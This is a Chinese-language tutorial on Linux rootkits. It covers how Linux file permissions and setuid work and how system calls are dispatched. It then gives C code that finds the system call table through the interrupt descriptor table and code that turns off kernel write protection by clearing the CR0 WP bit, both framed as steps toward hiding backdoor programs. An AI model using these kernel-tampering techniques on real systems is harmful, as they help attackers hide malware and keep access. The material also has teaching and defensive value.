一、rootkit介绍
Rootkit的作用在于“能维持root权限的一套工具”。它的目的是隐藏自己以及恶意程序,达到长期在目的主机存在并收集信息的目的。Rootkit一般和后门等程序结合使用,帮忙隐藏后门的踪迹。
通常,攻击者通过远程攻击获得root访问权限(譬如密码猜测、破解、缓冲区溢出、0-day漏洞),然后安装后门,便于之后回访,安装rootkit,隐藏踪迹,收集信息,便于长期回访以及获得对其他系统的访问权限。
二、linux中的权限问题
首先,在Linux系统的DAC中,所有的操作实质都是在进行进程访问文件的操作。而在验证操作时,主要关注两方面:
- 进程的ID
- 文件的ID
根据情况的不同会有以下的情况:
- 进程有效ID为0,则为root权限,允许访问
- 若进程的有效ID与文件所有者ID相同,则检查文件所有者访问位;
- 若进程组有效ID与文件组ID相同,则检查文件组访问位;
- 若都不相同,则检查文件其他用户访问位;
以上时一步一步来的,于是我们知道了进程有进程ID与组ID;文件则有owner ID、组ID、other ID每个ID有三个访问位:读写与执行。拥有onwer权限可用chmod修改其访问位。
上面提到了“有效ID”这个概念,因为有的进程在运行时需要改变自身的权限,而改变权限的方式就是通过修改用户ID或组ID,所以为了达到这种机制,又将ID分为了实际(Real ID)、有效和保存的三种。实际ID表明了我们实际是谁,有效的是运行时的身份,通常这两者是相同的。保存的ID包含了有效ID的副本。
我们可用setuid命令使让执行该命令的用户以该命令拥有者的权限去执行。
三、篡改系统调用
3.1系统调用流程
rootkit是让我们用来隐藏后门程序的,如我们修改ls命令使其不输出我们的程序。为了修改对面的库函数,我们得理解系统调用的过程。
- 应用程序 代码调用系统调用( xyz ),该函数是一个包装系统调用的 库函数 ;
- 库函数 ( xyz )负责准备向内核传递的参数,并触发 软中断 以切换到内核;软中断指令int 0x80执行时,系统调用号会被放入eax寄存器
- CPU 被 软中断 打断后,执行 中断处理函数 ,即 系统调用处理函数 ( system_call);
- 系统调用处理函数 查询eax中的调用号,根据SCT的基址找到并调用系统调用服务例程 ( sys_xyz )
因此根据以上流程,想要修改sys_xyz便需要先找到SCT再计算调用地址,那么如何找到SCT的地址呢?
3.2 查找SCT
先看32位系统:
- 查询idtr寄存获得IDT地址(IDT = Interrupt Descriptor Table 中断描述表)
//idt结构
struct idt
{
unsigned short limit;
unsigned int base;
}__attribute__((packed));
__asm__ __volatile__("sidt %0":"=m"(idt_table));
- IDT存放的是中断门,中断门中的前两字节和后两字节存放的是中断向量地址
//中断门结构体
struct idt_gate {
unsigned short off1;
unsigned short sel;
unsigned char nome,flags;
unsigned short off2; }__attribute__((packed));
- 找到0x80地址的系统调用处理例程地址,然后从其中找寻SCT地址
unsigned int get_sys_call_table_entry(unsigned int sys_call_entry,char * exp,char exp_len,unsigned int cope)
{
char * begin=sys_call_entry;
char * end=sys_call_entry+cope;
for(;begin<end;begin++)
{
if(begin[0]==exp[0]&&begin[1]==exp[1]&&begin[2]==exp[2])
return *((unsigned int *)(begin+3));
}
return 0;
}
64位:
64位有两个表,分别是64位的系统调用表SCT和32位的,其中32位的与上面相同,64位的使用特殊的sysenter/syscall指令。
3.3 篡改系统调用
获得SCT后,我们就能修改对应的系统调用地址了。
需要注意的是,SCT本身是有写保护的,所以,直接去修改会报错。首先要对它取消写保护。
//可以通过设置cr0寄存器的WP位为0,禁止CPU上的写保护。当然,写完之后,还是要将恢复写保护,防止SCT被其他进程意外篡改。
void disable_write_protection(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
}
void enable_write_protection(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0(cr0);
}